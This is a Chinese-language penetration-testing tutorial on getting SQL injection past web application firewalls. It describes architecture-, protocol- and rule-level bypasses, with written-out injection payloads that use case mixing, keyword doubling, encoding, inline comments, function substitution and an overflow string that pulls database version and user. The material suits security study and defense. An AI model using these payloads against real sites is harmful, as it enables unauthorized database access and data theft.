SQL注入常用WAF绕过姿势
一、什么是WAF
1、简介
WAF部署在web应用程序前面,在用户请求到达web服务器前对用户请求进行扫描和过滤,分析并校验每个用户请求的网络包,确保每个用户请求有效且安全,对无效或有攻击行为的请求进行阻断或隔离。通过检查HTTP流量,可以防止源自web应用程序的安全漏洞(如SQL注入,跨站脚本攻击,文件包含和安全配置错误)的攻击。
2、工作原理
检测异常协议:拒绝不符合HTTP标准的请求
增强型的输入验证:代理和服务器端验证,而不仅仅是客户端验证
白名单和黑名单
基于规则和异常的保护:基于规则的更多是基于黑色的机制和更灵活的异常
状态管理:防御会话保护(Cookie保护,反入侵规避技术,响应监控和信息披露保护)。
二、非规则绕过姿势
(一)架构层绕WAF
(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。
(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入
(二)资源限制角度绕WAF
有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。
(三)协议层面绕过WAF
(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型
(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf
(3)参数污染:有的waf仅对部分内容进行过滤,例如:
index.php?id=1&id=2这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入
三、规则层面绕过
1、大小写关键字绕过
select * from users where id='1' uNioN SeleCt 1,2,3;
2、替换关键字
select * from users where id=1 ununionion selselectect 1,2,3;
3、编码
select * from users where id=1 %75nion select 1,2,3; %55nion %53elect 1,2,3,4
4、内联注释
select * from users where id=1 union/**/select/**/1,2,3;
select * from users where id=1 /*!union*/select 1,2,3;//
5、等价函数替换
由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6、特殊符号
select * from users where id=1 union+select+1,2,3;
id=1+(UnI)(oN)+(SeL)(EcT) 'se’+’lec’+’t’ %S%E%L%E%C%T 1
7、缓冲区溢出
WAF始终是应用程序,容易受到与其他应用程序相同的软件缺陷的影响。如果出现缓冲区溢漏洞可能会导致WAF崩溃,即使它不会导致代码执行也可能会导致WAF正常运行
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
8、mysql特性绕过
1.= 等于
:= 赋值
@ @+变量名可直接调用
select * from users where id=1 union select @test=user(),2,3;//1 select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root select * from users where id=1 union select @,2,3;//NULL
参考资料:
SQL注入绕过waf的一万种姿势 - 铺哩 - 博客园 (cnblogs.com)
SQL注入9种绕过WAF方法 - 渗透测试中心 - 博客园 (cnblogs.com)
SQL注入常用WAF绕过姿势相关推荐
- SQL注入和WAF绕过总结姿势
自己复习专用,大佬勿喷 文章目录 前言 一.注入手法 联合注入 报错注入 布尔盲注 延时注入 堆叠注入 二.绕过姿势 绕过空格 注释符 括号 引号绕过(使用十六进制) 逗号绕过(使用from或者off ...
- sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享
一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...
- SQL注入-SQL注入的WAF绕过(十六)
实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...
- 渗透测试-SQL注入之Fuzz绕过WAF
WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...
- sql注入关于waf的绕过
sql注入关于waf的绕过 关于Waf绕过可大致分为三类: 一.白盒绕过 二.黑盒绕过 1.架构层面绕过waf 1.1.寻找源网站绕过waf检测 1.2.通过同网段绕过waf防护 2.资源限制角度绕过 ...
- 【白帽子学习笔记14】SQL注入常用语句
[白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...
- B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf
前言: 在攻防实战中,往往需要掌握一些特性,比如服务器.数据库.应用层.WAF层等,以便我们更灵活地去构造 Payload,从而可以和各种 WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用. 演示案 ...
- bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)
0x00 前言 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...
- bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)
0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...
最新文章
- 10个最常用 Windows Vista运行命令
- 未转变者空投指令服务器,未转变者空投指令 | 手游网游页游攻略大全
- Nginx通过域名配置虚拟机
- 读入源文件,并在每行前加上行号和[Tab]
- vSphere 7 With K8s系列06:创建命名空间
- 【报告分享】数实共生:未来经济白皮书2021-腾讯研究院.pdf(附下载链接)
- 微软在线测试之lucky string,有关斐波那契的题目都在此了
- JOPL的配置文件Bug
- selenium 如何处理table
- 联想小新触摸板驱动_联想小新智能语音鼠标驱动
- 无需积分PowerDesigner 下载
- 第七篇 indicators(4)自建指标
- 微信小程序--游戏demo
- PCA主成分分析 提取主成分,过滤噪音
- docker基本操作小结
- Unable to restart cluster, will reset it: apiserver healthz: apiserver process never appeared
- android bmob集成
- 三坐标检测 Visual DMIS
- ECharts之3D立体柱状图一
- 【CSS 选择器】鱼骨图记忆
热门文章
- JavaScript 代码的执行流程
- 个推消息推送SDK通知栏铃声功能解析及使用攻略
- 自然辩证法对计算机科学技术的应用,自然辩证法在计算机科学技术中的应用.doc...
- 高德AR驾车导航解决方案
- matlab l 汉字字符串,Matlab中汉字编码的操作
- 调试经验——使用Matlab绘制f(x)=sin(x)/x的函数图形
- 树莓派-MLX90614
- 弱水三千,只取一瓢饮 的意思
- 一分钟教你解决——浏览器代理服务器被篡改
- 高盛:云计算市场2021年将增至1160亿美元 四巨头成赢家